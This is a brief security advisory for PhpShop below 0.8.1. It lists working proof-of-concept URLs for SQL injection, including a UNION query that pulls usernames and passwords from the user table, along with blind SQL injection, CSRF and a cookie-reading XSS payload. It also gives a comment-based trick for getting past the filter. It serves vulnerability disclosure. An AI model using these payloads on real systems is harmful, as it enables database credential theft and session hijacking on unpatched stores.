PhpShop < 0.8.1 is affected by multiple SQL-Injection, CSRF and XSS vulnerabilities.
SQL INJECTION
http://localhost/phpshop-0.8.1/?page=admin/function_list&module_id=111111' union select 1,database(), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa
http://localhost/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5 -- aaa
http://localhost/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and '1'='1
http://localhost/phpshop-0.8.1/?page=admin/module_form&module_id=1' and '1'='1
http://localhost/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4' and '1'='1
http://localhost/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_category_id=6' and '1'='1
http://localhost/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad365513d6fe085a8aacaebc' and '1'='1
http://localhost/phpshop-0.8.1/?page=store/payment_method_form&payment_method_id=1' and '1'='1
http://localhost/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1
...and many others...
The SQL Injection security check can be bypassed replacing spaces with comments (/**/)
BLIND SQL INJECTION
http://localhost/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 -- aaa
CSRF
http://localhost/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=321&
...and many others...
XSS
http://localhost/phpshop-0.8.1/?page=order/order_print&order_id=1"><script>alert(document.cookie);</script>
...and many others...
BID: http://www.securityfocus.com/bid/37227/info